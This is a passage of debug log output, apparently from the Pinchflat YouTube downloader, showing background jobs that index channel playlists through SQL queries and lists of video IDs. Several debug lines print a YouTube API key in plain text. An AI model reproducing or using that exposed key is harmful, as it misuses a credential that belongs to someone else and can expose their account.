"uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 16:47:45.383 [debug] QUERY OK source="media_items" db=1.9ms idle=79.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 16:47:45.384 [debug] QUERY OK source="tasks" db=0.1ms idle=81.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800070, 40, ~U[2026-02-10 22:47:45Z], ~U[2026-02-10 22:47:45Z]] 16:47:45.384 [info] {"args":{"id":40},"id":3800030,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":82630,"event":"job:stop","queue_time":536129,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:46.302 [info] {"args":{"id":2},"id":3800031,"meta":{},"system_time":1770763666302745201,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:46.303 [debug] QUERY OK source="sources" db=0.1ms idle=918.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:47:46.303 [debug] QUERY OK source="settings" db=0.0ms idle=918.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:46.303 [debug] QUERY OK source="media_profiles" db=0.0ms idle=912.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:46.303 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:46.303 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 16:47:46.303 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:46.303 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:46.401 [debug] QUERY OK source="media_items" db=0.6ms idle=97.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 16:47:46.403 [debug] QUERY OK source="media_items" db=2.0ms idle=98.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:47:46.404 [debug] QUERY OK source="tasks" db=0.1ms idle=100.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800071, 2, ~U[2026-02-10 22:47:46Z], ~U[2026-02-10 22:47:46Z]] 16:47:46.404 [info] {"args":{"id":2},"id":3800031,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":102019,"event":"job:stop","queue_time":508005,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:48.304 [info] {"args":{"id":38},"id":3800032,"meta":{},"system_time":1770763668304721114,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:48.305 [debug] QUERY OK source="sources" db=0.1ms idle=426.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 16:47:48.305 [debug] QUERY OK source="settings" db=0.0ms idle=426.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:48.305 [debug] QUERY OK source="media_profiles" db=0.0ms idle=426.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:48.305 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:48.305 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 16:47:48.305 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:48.305 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:48.695 [debug] QUERY OK source="media_items" db=0.6ms idle=389.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 16:47:48.697 [debug] QUERY OK source="media_items" db=1.6ms idle=390.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 16:47:48.698 [debug] QUERY OK source="tasks" db=0.1ms idle=392.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800072, 38, ~U[2026-02-10 22:47:48Z], ~U[2026-02-10 22:47:48Z]] 16:47:48.698 [info] {"args":{"id":38},"id":3800032,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":393920,"event":"job:stop","queue_time":230753,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:50.306 [info] {"args":{"id":41},"id":3800033,"meta":{},"system_time":1770763670306697810,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:50.307 [debug] QUERY OK source="sources" db=0.1ms idle=428.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 16:47:50.307 [debug] QUERY OK source="settings" db=0.1ms idle=428.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:50.307 [debug] QUERY OK source="media_profiles" db=0.1ms idle=428.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:50.307 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:50.307 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 16:47:50.307 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:50.307 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:50.395 [debug] QUERY OK source="media_items" db=0.5ms idle=88.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 16:47:50.397 [debug] QUERY OK source="media_items" db=0.5ms idle=89.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 16:47:50.397 [debug] QUERY OK source="tasks" db=0.1ms idle=89.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800073, 41, ~U[2026-02-10 22:47:50Z], ~U[2026-02-10 22:47:50Z]] 16:47:50.397 [info] {"args":{"id":41},"id":3800033,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":91068,"event":"job:stop","queue_time":527239,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:51.308 [info] {"args":{"id":5},"id":3800034,"meta":{},"system_time":1770763671308717221,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:51.309 [debug] QUERY OK source="sources" db=0.2ms idle=911.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 16:47:51.309 [debug] QUERY OK source="settings" db=0.1ms idle=911.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:51.309 [debug] QUERY OK source="media_profiles" db=0.1ms idle=905.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:51.309 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:51.309 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 16:47:51.309 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:51.310 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:51.396 [debug] QUERY OK source="media_items" db=0.6ms idle=86.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", 